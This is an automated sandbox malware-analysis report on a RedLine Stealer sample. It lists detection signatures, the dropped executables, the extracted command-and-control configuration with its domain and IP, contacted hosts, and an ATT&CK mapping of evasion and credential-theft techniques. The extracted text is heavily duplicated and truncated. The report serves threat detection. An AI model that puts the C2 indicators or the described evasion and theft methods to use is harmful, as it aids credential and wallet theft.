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Windows Analysis Report Nb2HQZZDIf

Overview

General Information

Sample 
Name:

Nb2HQZZDIf (renamed file 
extension from none to 
exe)

Analysis ID: 452456

MD5: b8371590264db6…

SHA1: 837bfd10d701133…

SHA256: fa3e22734ccb01d…

Tags: exe trojan

Infos:

Most interesting Screenshot:

Detection

RedLineRedLine

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE se

Detected unpacking (changes PE seDetected unpacking (changes PE se……

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for dropp

Multi AV Scanner detection for droppMulti AV Scanner detection for dropp……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Yara detected RedLine StealerYara detected RedLine Stealer

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to Crypt

Found many strings related to CryptFound many strings related to Crypt……

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for dropp

Machine Learning detection for droppMachine Learning detection for dropp……

May check the online IP address of 

May check the online IP address of 

May check the online IP address of 

May check the online IP address of 

May check the online IP address of 

May check the online IP address of 

May check the online IP address of May check the online IP address of ……

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with special

PE file contains section with specialPE file contains section with special……

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains w

Performs DNS queries to domains wPerforms DNS queries to domains w……

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (v

Queries sensitive disk information (vQueries sensitive disk information (v……

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device inform

Queries sensitive video device informQueries sensitive video device inform……

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (lik

Query firmware table information (likQuery firmware table information (lik……

Sample or dropped binary is a comp

Sample or dropped binary is a comp

Sample or dropped binary is a comp

Sample or dropped binary is a comp

Sample or dropped binary is a comp

Sample or dropped binary is a comp

Sample or dropped binary is a compSample or dropped binary is a comp……

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamic

Tries to detect sandboxes / dynamicTries to detect sandboxes / dynamic……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency Wallets

Tries to steal Crypto Currency WalletsTries to steal Crypto Currency Wallets

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on no

Uses known network protocols on noUses known network protocols on no……

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time stBinary contains a suspicious time st……

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/Fire

Checks if Antivirus/Antispyware/FireChecks if Antivirus/Antispyware/Fire……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener service

Connects to a URL shortener serviceConnects to a URL shortener service

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data f

Contains functionality for read data fContains functionality for read data f……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a d

Contains functionality to check if a dContains functionality to check if a d……

Contains functionality to check if a w

Contains functionality to check if a w

Contains functionality to check if a w

Contains functionality to check if a w

Contains functionality to check if a w

Contains functionality to check if a w

Contains functionality to check if a wContains functionality to check if a w……

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communica

Contains functionality to communicaContains functionality to communica……

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamically

Contains functionality to dynamicallyContains functionality to dynamically……

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a pr

Contains functionality to launch a prContains functionality to launch a pr……

Contains functionality to open a port

Contains functionality to open a port

Contains functionality to open a port

Contains functionality to open a port

Contains functionality to open a port

Contains functionality to open a port

Contains functionality to open a portContains functionality to open a port……

Contains functionality to read the cli

Contains functionality to read the cli

Contains functionality to read the cli

Contains functionality to read the cli

Contains functionality to read the cli

Contains functionality to read the cli

Contains functionality to read the cliContains functionality to read the cli……

Contains functionality to record scre

Contains functionality to record scre

Contains functionality to record scre

Contains functionality to record scre

Contains functionality to record scre

Contains functionality to record scre

Contains functionality to record screContains functionality to record scre……

Contains functionality to retrieve info

Contains functionality to retrieve info

Contains functionality to retrieve info

Contains functionality to retrieve info

Contains functionality to retrieve info

Contains functionality to retrieve info

Contains functionality to retrieve infoContains functionality to retrieve info……

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / 

Contains functionality to shutdown / Contains functionality to shutdown / ……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

Nb2HQZZDIf.exe (PID: 5924 cmdline: 'C:\Users\user\Desktop\Nb2HQZZDIf.exe'  MD5: B8371590264DB62ECBBA4B7F481A21A8)

1234.exe (PID: 4628 cmdline: C:\Users\user\AppData\Roaming\1234.exe 1234 MD5: 523AC177BFB4FB64A20B60FC0CE3E0E3)

1234.exe (PID: 808 cmdline: {path} MD5: 523AC177BFB4FB64A20B60FC0CE3E0E3)

1234.exe (PID: 2524 cmdline: {path} MD5: 523AC177BFB4FB64A20B60FC0CE3E0E3)

srvs.exe (PID: 5088 cmdline: 'C:\Users\user\AppData\Local\Temp\srvs.exe'  MD5: D11C21AB3E969F79E3C783FDD97E1C10)

cleanup

{

  "C2 url": [

    "yspasenana.xyz:80"

  ],

  "Bot Id": "world"

}

Source Rule Description Author Strings

dump.pcap JoeSecurity_RedLine_1 Yara detected 
RedLine Stealer

Joe Security

Source Rule Description Author Strings

00000015.00000002.475705492.0000000000DF
2000.00000040.00020000.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Process Tree

Malware Configuration

Threatname: RedLine

Yara Overview

PCAP (Network Traffic)

Memory Dumps

Copyright Joe Security LLC 2021 Page 4 of 46



Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Machine Learning detection for dropped file

Networking:

May check the online IP address of the machine

Performs DNS queries to domains with low reputation

Uses known network protocols on non-standard ports

System Summary:

.NET source code contains very large strings

PE file contains section with special chars

Sample or dropped binary is a compiled AutoHotkey binary

Data Obfuscation:

Detected unpacking (changes PE section rights)

.NET source code contains potential unpacker

00000015.00000003.382545912.0000000000D1
0000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

00000002.00000002.304591133.00000000031F
C000.00000004.00000001.sdmp

JoeSecurity_AntiVM_3 Yara detected 
AntiVM_3

Joe Security

00000015.00000002.484278366.000000000386
E000.00000004.00000001.sdmp

JoeSecurity_RedLine_1 Yara detected 
RedLine Stealer

Joe Security

00000002.00000002.306824778.00000000042C
0000.00000004.00000001.sdmp

JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Click to see the 8 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

2.2.1234.exe.43e5a60.3.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

15.2.1234.exe.400000.0.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

2.2.1234.exe.43e5a60.3.raw.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

21.2.srvs.exe.df0000.0.unpack JoeSecurity_RedLine Yara detected 
RedLine Stealer

Joe Security

Unpacked PEs

Copyright Joe Security LLC 2021 Page 5 of 46



Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Malware Analysis System Evasion:

Yara detected AntiVM3

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Anti Debugging:

Hides threads from debuggers

Tries to detect sandboxes and other dynamic analysis tools (window names)

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected RedLine Stealer

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Spearphishing
Link 1

Windows Management
Instrumentation 2 2 1

Path
Interception

Exploitation for
Privilege
Escalation 1

Disable or Modify
Tools 1

OS Credential
Dumping 1

System Time
Discovery 1 1

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Default
Accounts

Native API 1 Boot or
Logon
Initialization
Scripts

Access Token
Manipulation 1

Deobfuscate/Decode
Files or Information 1

Input
Capture 2 1

Account Discovery 1 Remote
Desktop
Protocol

Data from
Local
System 3

Exfiltration Over
Bluetooth

Domain
Accounts

At (Linux) Logon Script
(Windows)

Process
Injection 1 1 2

Obfuscated Files or
Information 3

Security
Account
Manager

File and Directory
Discovery 2

SMB/Windows
Admin Shares

Screen
Capture 1

Automated Exfiltration

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Software
Packing 2 3

NTDS System Information
Discovery 1 3 7

Distributed
Component
Object Model

Input
Capture 2 1

Scheduled Transfer

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Timestomp 1 LSA Secrets Security Software
Discovery 8 6 1

SSH Clipboard
Data 2

Data Transfer Size
Limits

Copyright Joe Security LLC 2021 Page 6 of 46



Replication
Through
Removable
Media

Launchd Rc.common Rc.common Masquerading 1 Cached
Domain
Credentials

Process
Discovery 1 2

VNC GUI Input
Capture

Exfiltration Over C2
Channel

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Virtualization/Sandbox
Evasion 5 5 1

DCSync Virtualization/Sandbox
Evasion 5 5 1

Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Drive-by
Compromise

Command and Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Access Token
Manipulation 1

Proc
Filesystem

Application Window
Discovery 1 1

Shared
Webroot

Credential
API Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Process
Injection 1 1 2

/etc/passwd
and
/etc/shadow

System Owner/User
Discovery 1

Software
Deployment
Tools

Data Staged Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Supply Chain
Compromise

AppleScript At
(Windows)

At (Windows) Invalid Code
Signature

Network
Sniffing

Remote System
Discovery 1

Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

Compromise
Software
Dependencies
and
Development
Tools

Windows Command
Shell

Cron Cron Right-to-Left Override Input Capture System Network
Configuration
Discovery 1

Replication
Through
Removable
Media

Remote Data
Staging

Exfiltration Over
Physical Medium

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Behavior Graph
ID: 452456

Sample: Nb2HQZZDIf

Startdate: 22/07/2021

Architecture: WINDOWS

Score: 100

Found malware configuration Multi AV Scanner detection
for submitted file

Yara detected RedLine
Stealer 8 other signatures

Nb2HQZZDIf.exe

14

        started       

iplogger.org

88.99.66.31, 443, 49714

HETZNER-ASDE

Germany

is.gd

104.25.233.53, 443, 49715

CLOUDFLARENETUS

United States

4 other IPs or domains

C:\Users\user\AppData\Roaming\1234.exe, PE32

dropped

Detected unpacking (changes
PE section rights)

May check the online
IP address of the machine

Sample or dropped binary
is a compiled AutoHotkey

binary

1234.exe

3

        started       

Multi AV Scanner detection
for dropped file

Queries sensitive video
device information (via

WMI, Win32_VideoController,
often done to detect

virtual machines)

Performs DNS queries
to domains with low

reputation
2 other signatures

1234.exe

15 34

        started       

1234.exe

        started       

yspasenana.xyz

212.224.105.105, 49742, 49744, 49745

DE-FIRSTCOLOwwwfirst-colonetDE

Germany

api.ip.sb 6 other IPs or domains

C:\Users\user\AppData\Local\Temp\srvs.exe, PE32

dropped

Tries to steal Crypto
Currency Wallets

srvs.exe

14 30

        started       

api.ip.sb

5.149.255.203, 32800, 49751, 49753

HZ-NL-ASGB

United Kingdom

Multi AV Scanner detection
for dropped file

Detected unpacking (changes
PE section rights)

Queries sensitive video
device information (via

WMI, Win32_VideoController,
often done to detect

virtual machines)

8 other signatures

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Graph

Screenshots

Copyright Joe Security LLC 2021 Page 7 of 46



Source Detection Scanner Label Link

Nb2HQZZDIf.exe 22% Virustotal Browse

Nb2HQZZDIf.exe 25% ReversingLabs ByteCode-
MSIL.Infostealer.Reline

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\srvs.exe 100% Joe Sandbox ML

C:\Users\user\AppData\Local\Temp\srvs.exe 20% Metadefender Browse

C:\Users\user\AppData\Local\Temp\srvs.exe 36% ReversingLabs Win32.Trojan.GenCBL

C:\Users\user\AppData\Roaming\1234.exe 33% ReversingLabs ByteCode-
MSIL.Infostealer.Reline

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Copyright Joe Security LLC 2021 Page 8 of 46
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Source Detection Scanner Label Link Download

0.1.Nb2HQZZDIf.exe.140000000.0.unpack 100% Avira HEUR/AGEN.1142275 Download File

15.2.1234.exe.400000.0.unpack 100% Avira HEUR/AGEN.1140572 Download File

Source Detection Scanner Label Link

yspasenana.xyz 1% Virustotal Browse

api.ip.sb 2% Virustotal Browse

Source Detection Scanner Label Link

https://bbuseruploads.s3.amazonaws.com4 0% Avira URL Cloud safe

service.r 0% URL Reputation safe

service.r 0% URL Reputation safe

service.r 0% URL Reputation safe

service.r 0% URL Reputation safe

www.fontbureau.comdTF 0% Avira URL Cloud safe

ahkscript.org 1% Virustotal Browse

ahkscript.org 0% Avira URL Cloud safe

yspasenana.xyz/ 0% Avira URL Cloud safe

www.fontbureau.comsiv 0% Avira URL Cloud safe

https://api.ip.sb/geoip 0% URL Reputation safe

https://api.ip.sb/geoip 0% URL Reputation safe

https://api.ip.sb/geoip 0% URL Reputation safe

https://api.ip.sbx 0% Avira URL Cloud safe

yspasenana.xyz4 0% Avira URL Cloud safe

tempuri.org/ 0% Avira URL Cloud safe

ns.adobe.c/g 0% URL Reputation safe

ns.adobe.c/g 0% URL Reputation safe

ns.adobe.c/g 0% URL Reputation safe

www.urwpp.dea( 0% Avira URL Cloud safe

yspasenana.xyz:80/ 0% Avira URL Cloud safe

tempuri.org/Endpoint/SetEnvironment 0% Avira URL Cloud safe

tempuri.org/Endpoint/SetEnvironmentResponse 0% Avira URL Cloud safe

www.fontbureau.comalsF 0% URL Reputation safe

www.fontbureau.comalsF 0% URL Reputation safe

www.fontbureau.comalsF 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

tempuri.org/Endpoint/GetUpdates 0% Avira URL Cloud safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.jiyu-kobo.co.jp/: 0% URL Reputation safe

www.jiyu-kobo.co.jp/: 0% URL Reputation safe

www.jiyu-kobo.co.jp/: 0% URL Reputation safe

www.fontbureau.comap 0% Avira URL Cloud safe

www.fontbureau.comk: 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/3 0% URL Reputation safe

www.jiyu-kobo.co.jp/3 0% URL Reputation safe

www.jiyu-kobo.co.jp/3 0% URL Reputation safe

www.fontbureau.comueto3 0% Avira URL Cloud safe

www.interoperabilitybridges.com/wmp-extension-for-chrome 0% URL Reputation safe

www.interoperabilitybridges.com/wmp-extension-for-chrome 0% URL Reputation safe

www.interoperabilitybridges.com/wmp-extension-for-chrome 0% URL Reputation safe

www.jiyu-kobo.co.jp/- 0% URL Reputation safe

www.jiyu-kobo.co.jp/- 0% URL Reputation safe

www.jiyu-kobo.co.jp/- 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/url/cbd767f7e2f64fdbc98280fd2a0d3b4da7d865d9e8d81d9fe0f36dcd41e68123/detection/u-cbd767f7e2f64fdbc98280fd2a0d3b4da7d865d9e8d81d9fe0f36dcd41e68123-1626817485
https://www.virustotal.com/gui/url/1e9f1334c82f610a7342609318ee8404d70efc6e63db55d9e2de02872ac96159/detection/u-1e9f1334c82f610a7342609318ee8404d70efc6e63db55d9e2de02872ac96159-1626933719
https://www.virustotal.com/gui/url/d273466886474768c5a3da7981b136f0168b479d010ae1edad418be002b309e6/detection/u-d273466886474768c5a3da7981b136f0168b479d010ae1edad418be002b309e6-1624447417


www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

www.jiyu-kobo.co.jp/Y0 0% URL Reputation safe

tempuri.org/Endpoint/VerifyUpdate 0% Avira URL Cloud safe

www.fontbureau.comgrito 0% URL Reputation safe

www.fontbureau.comgrito 0% URL Reputation safe

www.fontbureau.comgrito 0% URL Reputation safe

yspasenana.xyz(h 0% Avira URL Cloud safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

support.a 0% URL Reputation safe

support.a 0% URL Reputation safe

support.a 0% URL Reputation safe

yspasenana.xyz 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/crosU 0% Avira URL Cloud safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0# 0% URL Reputation safe

www.jiyu-kobo.co.jp/rz 0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/U 0% URL Reputation safe

www.jiyu-kobo.co.jp/U 0% URL Reputation safe

www.jiyu-kobo.co.jp/U 0% URL Reputation safe

https://bitbucket.org4 0% Avira URL Cloud safe

ns.adobe.cobj 0% URL Reputation safe

ns.adobe.cobj 0% URL Reputation safe

ns.adobe.cobj 0% URL Reputation safe

www.fontbureau.comcomd 0% URL Reputation safe

www.fontbureau.comcomd 0% URL Reputation safe

www.fontbureau.comcomd 0% URL Reputation safe

schemas.datacontract.org/2004/07/ 0% URL Reputation safe

schemas.datacontract.org/2004/07/ 0% URL Reputation safe

schemas.datacontract.org/2004/07/ 0% URL Reputation safe

www.fontbureau.comitum 0% Avira URL Cloud safe

https://api.ip.sb/geoip%USERPEnvironmentROFILE% 0% URL Reputation safe

https://api.ip.sb/geoip%USERPEnvironmentROFILE% 0% URL Reputation safe

https://api.ip.sb/geoip%USERPEnvironmentROFILE% 0% URL Reputation safe

crl.sectigo.com/SectigoRSACodeSigningCA.crl0s 0% URL Reputation safe

crl.sectigo.com/SectigoRSACodeSigningCA.crl0s 0% URL Reputation safe

crl.sectigo.com/SectigoRSACodeSigningCA.crl0s 0% URL Reputation safe

www.fontbureau.comica 0% Avira URL Cloud safe

tempuri.org/Endpoint/SetEnviron 0% Avira URL Cloud safe

www.fontbureau.come.com 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

s3-w.us-east-1.amazonaws.com 52.216.94.27 true false high

yspasenana.xyz 212.224.105.105 true true 1%, Virustotal, Browse unknown

bitbucket.org 104.192.141.1 true false high

iplogger.org 88.99.66.31 true false high

is.gd 104.25.233.53 true false high

Domains and IPs

Contacted Domains
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https://www.virustotal.com/gui/url/cbd767f7e2f64fdbc98280fd2a0d3b4da7d865d9e8d81d9fe0f36dcd41e68123/detection/u-cbd767f7e2f64fdbc98280fd2a0d3b4da7d865d9e8d81d9fe0f36dcd41e68123-1626817485


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 452456

Start date: 22.07.2021

Start time: 11:37:09

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 13m 5s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Nb2HQZZDIf (renamed file extension from none to exe)

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

25

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@9/60@15/8

EGA Information: Failed

HDC Information: Successful, ratio: 2.4% (good quality ratio 1.2%)
Quality average: 36.8%
Quality standard deviation: 41.2%

bbuseruploads.s3.amazonaws.com unknown unknown false high

api.ip.sb unknown unknown true 2%, Virustotal, Browse unknown

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

yspasenana.xyz/ false Avira URL Cloud: safe unknown

IP Domain Country Flag ASN ASN Name Malicious

52.217.80.20 unknown United States 16509 AMAZON-02US false

5.149.255.203 unknown United Kingdom 59711 HZ-NL-ASGB false

104.25.233.53 is.gd United States 13335 CLOUDFLARENETUS false

212.224.105.105 yspasenana.xyz Germany 44066 DE-FIRSTCOLOwwwfirst-
colonetDE

true

104.192.141.1 bitbucket.org United States 16509 AMAZON-02US false

52.216.94.27 s3-w.us-east-
1.amazonaws.com

United States 16509 AMAZON-02US false

88.99.66.31 iplogger.org Germany 24940 HETZNER-ASDE false

IP

192.168.2.1

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private
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https://www.virustotal.com/gui/url/1e9f1334c82f610a7342609318ee8404d70efc6e63db55d9e2de02872ac96159/detection/u-1e9f1334c82f610a7342609318ee8404d70efc6e63db55d9e2de02872ac96159-1626933719


HCA Information: Successful, ratio: 72%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI

Warnings:

Time Type Description

11:37:57 API Interceptor 1x Sleep call for process: Nb2HQZZDIf.exe modified

11:39:07 API Interceptor 87x Sleep call for process: 1234.exe modified

11:39:49 API Interceptor 69x Sleep call for process: srvs.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

104.25.233.53 plagin.exe Get hash malicious Browse

remittance details.docx Get hash malicious Browse

Bnp Paribas SWIFT.xlsx Get hash malicious Browse

SWIFT COPY.docx Get hash malicious Browse

INV2104_01.docx Get hash malicious Browse

2af49a1a_by_Libranalysis.docx Get hash malicious Browse

RFQ - 0421.docx Get hash malicious Browse

Evaluation quoter.docx Get hash malicious Browse

NEW ORDER.xlsx Get hash malicious Browse

Shipping documents.xlsx Get hash malicious Browse

MT-808-00021952.xlsx Get hash malicious Browse

NOA_-_CMACGM_-_Booking_Confirmation_0GM3
AE1MA_4080215257433000.xlsx

Get hash malicious Browse

UniCredit Remittances.xlsx Get hash malicious Browse

Shipping documents.xlsx Get hash malicious Browse

presupuesto.xlsx Get hash malicious Browse

scan-remittance-slip.xlsx Get hash malicious Browse

Shipping-Documents.xlsx Get hash malicious Browse

PRC-20-518 ORIGINAL.xlsx Get hash malicious Browse

IN18663Q0031139I.xlsx Get hash malicious Browse

PRC-20-518 ORIGINAL.xlsx Get hash malicious Browse

104.192.141.1 r3xwkKS58W.exe Get hash malicious Browse

P58w6OezJY.exe Get hash malicious Browse

lpaBPnb1OB.exe Get hash malicious Browse

2aJ9QdIdFE.exe Get hash malicious Browse

EA4LughYnY.exe Get hash malicious Browse

etSPaoVcAD.exe Get hash malicious Browse

kxQkjkU9DO.exe Get hash malicious Browse

9CMjcYFBxo.exe Get hash malicious Browse

JvlwIeO09R.exe Get hash malicious Browse

pEIro35JRJ.exe Get hash malicious Browse

AEdU8eJHgN.exe Get hash malicious Browse

YIrI3VuV0W.exe Get hash malicious Browse

8zsiEeSTzI.exe Get hash malicious Browse

k6sy0WOByI.exe Get hash malicious Browse

kvAgGyJqYT.exe Get hash malicious Browse

A7DmPhc0bs.exe Get hash malicious Browse

Coupon-Codes-2021.doc Get hash malicious Browse

Show All

Simulations

